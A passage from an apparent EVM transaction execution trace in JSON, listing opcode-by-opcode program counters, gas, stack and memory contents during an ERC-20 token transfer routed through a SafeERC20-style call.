0000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8235,"op":"MUL","gas":28979,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x3","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8236,"op":"SWAP1","gas":28974,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0xbe4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8237,"op":"JUMP","gas":28971,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3044,"op":"JUMPDEST","gas":28963,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3045,"op":"PUSH2","gas":28962,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3048,"op":"DUP7","gas":28959,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3049,"op":"PUSH2","gas":28956,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3052,"op":"PUSH2","gas":28953,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3055,"op":"JUMP","gas":28950,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x200f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8207,"op":"JUMPDEST","gas":28942,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8208,"op":"PUSH1","gas":28941,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8210,"op":"DUP2","gas":28938,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8211,"op":"PUSH1","gas":28935,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8213,"op":"NOT","gas":28932,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8214,"op":"DIV","gas":28929,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x3e8","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8215,"op":"DUP4","gas":28924,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x4189374bc6a7ef9db22d0e5604189374bc6a7ef9db22d0e5604189374bc6a7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8216,"op":"GT","gas":28921,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x4189374bc6a7ef9db22d0e5604189374bc6a7ef9db22d0e5604189374bc6a7","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8217,"op":"DUP3","gas":28918,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8218,"op":"ISZERO","gas":28915,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x0","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8219,"op":"ISZERO","gas":28912,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8220,"op":"AND","gas":28909,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8221,"op":"ISZERO","gas":28906,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8222,"op":"PUSH2","gas":28903,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8225,"op":"JUMPI","gas":28900,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0","0x1","0x2029"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8233,"op":"JUMPDEST","gas":28890,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x0","0x0","0xbf0","0xc50cc66cadfb704b","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8234,"op":"POP","gas":28889,"gasCost